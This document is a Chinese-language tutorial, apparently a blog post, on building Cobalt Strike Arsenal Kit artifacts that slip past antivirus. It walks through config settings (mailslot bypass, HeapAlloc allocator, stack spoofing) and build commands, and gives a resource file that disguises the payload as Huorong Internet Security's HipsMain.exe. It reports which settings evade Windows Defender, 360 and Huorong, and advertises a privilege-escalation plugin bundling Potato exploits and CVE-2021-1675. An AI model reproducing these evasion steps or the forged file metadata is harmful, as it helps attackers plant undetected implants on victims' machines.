0x00 前言
CobaltStrike原生Artifact Kit生成的Artifact几乎已被所有主流杀软查杀,但我们可以用CobaltStrike官方Arsenal Kit免杀套件来替代原生Artifact Kit,目前还有一定免杀效果,过国内杀软问题不大。
0x01 套件简介
这个免杀套件主要包含了以下几个插件,Artifact Kit只是Arsenal Kit的一部分,可用于构建可逃避某些防病毒软件的EXE、DLL和Service EXE,这篇主要记录的Artifact,其他几个自己去看下吧。
CobaltStrike 4.x在以下地方使用Artifact Kit:
Payloads -> Windows Stager Payload
Payloads -> Windows Stageless Payload
Attacks -> Scripted Web Delivery (bitsadmin and exe)
Beacon's 'elevate svc-exe' command
Beacon's 'jump psexec' and 'jump psexec64' commands
Arsenal Kit(20240125)功能支持CobaltStrike版本:
0x02 套件编译
将arsenal-kit20240125
套件复制到kali的tmp
目录下并解压,我们主要用到Artifact
,所以先去了解下它的目录结构和文件,详情可见README.md文档。
/images:线程堆栈欺骗测试截图
/src-common:Artifact Kit、Bypass、内存注入等源码
/src-main:编译dll用的源码、二进制元数据和ICO图标等
build.sh:交叉编译的生成二进制命令脚本
README.md:Artifact Kit介绍和使用方法
README_STACK_SPOOF.md:线程堆栈欺骗介绍和使用方法
script_template.cna:默认的cna脚本模板
修改arsenal_kit.config配置文件,下图中看到默认只编译了Artifact
,如果要编译其他插件可将其值改为true
,这样在执行build_arsenal_kit.sh
脚本时就会依次编译了。
arsenal-kit/arsenal_kit.config
## What kits do you want to build?
include_artifact_kit="true"
include_udrl_kit="true"
include_sleepmask_kit="true"
include_process_inject_kit="true"
include_resource_kit="true"
include_mimikatz_kit="true"
注意:
执行build_arsenal_kit.sh
编译过程中如果出现下图报错时可以将其代码注释掉,或者可以进入到某个插件源码目录下执行build.sh
脚本单独编译,有相关参数提示。
arsenal-kit/arsenal_kit.config
## What kits do you want to build?
# include_artifact_kit="true"
include_udrl_kit="true"
include_sleepmask_kit="true"
include_process_inject_kit="true"
include_resource_kit="true"
include_mimikatz_kit="true"
arsenal-kit/build_arsenal_kit.sh
## Artifact kit
function build_artifact_kit () {
print_good "Building Artifact Kit"
cd "${artifactkit_directory}"
"${artifactkit_directory}/build.sh" "${artifactkit_technique}" "${artifactkit_allocator}" "${artifactkit_stage_size}" "${rdll_size}" "${artifactkit_include_resource}" "${artifactkit_stack_spoof}" "${artifactkit_syscalls_method}" "${artifactkit_dist_directory}"
# if [ $? -gt 0 ] ; then
# exit 2
# fi
}
Artifact提供了5种绕过技术和3种内存分配方式,默认用的pipe
和HeapAlloc
,可修改artifactkit_technique
和artifactkit_allocator
值来指定使用哪种?
这里我们将默认的pipe
和HeapAlloc
改为mailslot
和HeapAlloc
,template
是模板,过不了任何防病毒软件。
如果仍然无法免杀时可以尝试更改为其他选项,然后再重新编译试试。
arsenal-kit/arsenal_kit.config
# Artifact technique (see readme in Artifact for details)
# Only specify a single bypass technique for the arsenal kit, no spaces are allowed.
# Options are: mailslot, peek, pipe, readfile, readfile-v2, template
artifactkit_technique="mailslot"
# Artifact reflective loader allocator
# Set how the artifact allocates memory for the reflective loader.
# Options are: HeapAlloc, VirtualAlloc, and MapViewOfFile
artifactkit_allocator="HeapAlloc"
如果想往生成的EXE文件添加版本、图标等信息可以修改src-main目录下的resource.rc
文件,将最后一行IDI_ICON1
注释去掉,再将icon.ico
替换为我们的.ico
文件即可。
arsenal-kit/kits/artifact/src-mainresource.rc
#include "winver.h"
#define IDI_ICON1 101
/////////////////////////////////////////////////////////////////////////////
//
// Version
//
#define VER_FILEVERSION 5,0,1,1
#define VER_FILEVERSION_STR "5,0,1,1\0"
#define VER_PRODUCTVERSION 5,0,1,1
#define VER_PRODUCTVERSION_STR "5,0,1,1\0"
VS_VERSION_INFO VERSIONINFO
FILEVERSION VER_FILEVERSION
PRODUCTVERSION VER_PRODUCTVERSION
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
FILEOS VOS__WINDOWS32
FILETYPE VFT_APP
FILESUBTYPE VFT2_UNKNOWN
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904B0"
BEGIN
VALUE "CompanyName", "Beijing Huorong Network Technology Co., Ltd."
VALUE "FileDescription", "Huorong Internet Security Main UI"
VALUE "FileVersion", "5.0.1.1"
VALUE "InternalName", "HipsMain"
VALUE "LegalCopyright", "Beijing Huorong Network Technology Co., Ltd."
VALUE "OriginalFilename", "HipsMain.exe"
VALUE "ProductName", "Huorong Internet Security"
VALUE "ProductVersion", "5.0.1.1"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x409, 1266
END
END
/////////////////////////////////////////////////////////////////////////////
//
// Icon
//
// Icon with lowest ID value placed first to ensure application icon
// remains consistent on all systems.
IDI_ICON1 ICON "src-main/icon.ico"
最后执行build_arsenal_kit.sh
脚本编译即可,执行前还得chmod命令设置下文件权限777
,否则可能会报权限不足的错误...,编译好的所有文件将会保存在dist
目录下。
┌──(root㉿kali)-[/tmp/arsenal-kit]
└─# chmod -R 777 *
┌──(root㉿kali)-[/tmp/arsenal-kit]
└─# ./build_arsenal_kit.sh
我们只改了arsenal_kit.config的几个选项,其他插件选项在源码中都有注释,大家可以自己去看下,根据各自的需求去设置相关插件选项,具体效果如何还得去测试......。
arsenal-kit/arsenal_kit.config
#### Artifact kit options
rdll_size=5
artifactkit_stage_size=310272
artifactkit_include_resource="true"
artifactkit_stack_spoof="true"
artifactkit_syscalls_method="none"
#### Sleepmask kit options
sleepmask_version="49"
sleepmask_sleep_method="Sleep"
sleepmask_mask_text_section="false"
sleepmask_syscalls_method="none"
0x03 套件使用
Cobalt Strike客户端->Cobalt Strike->Script Manger->Load->
选择arsenal_kit.cna,插件如果加载成功在Script Console
会出现下图提示。
Payloads中生成Stageless、Stager的EXE、DLL文件进行免杀效果测试,这里我们仅测试了火绒、360和微软Windows Defender,且已更新为最新病毒病。
0x04 免杀测试
1、Defender(HeapAlloc + mailslot)
2、360(VirtualAlloc+ mailslot)
3、火绒(MapViewOfFile+ peek)
0x05 文末小结
经过以上测试最终选择用HeapAlloc + mailslot
组合替代原生Artifact Kit,因为360和WDF只查杀Stager
,而Stageless
可同时过360+WDF+火绒的静态查杀。
PostExpKit插件提权模块以下Exp上线时需要落地dll,使用这种组合可避免落地dll被WDF查杀,目前已将该免杀套件集成到了插件中,可以在我的知识星球下载最新版插件。
CVE-2021-1675
BadPotato
GodPotato
PetitPotato
SigmaPotato
DCOMPotato
PrintNotifyPotato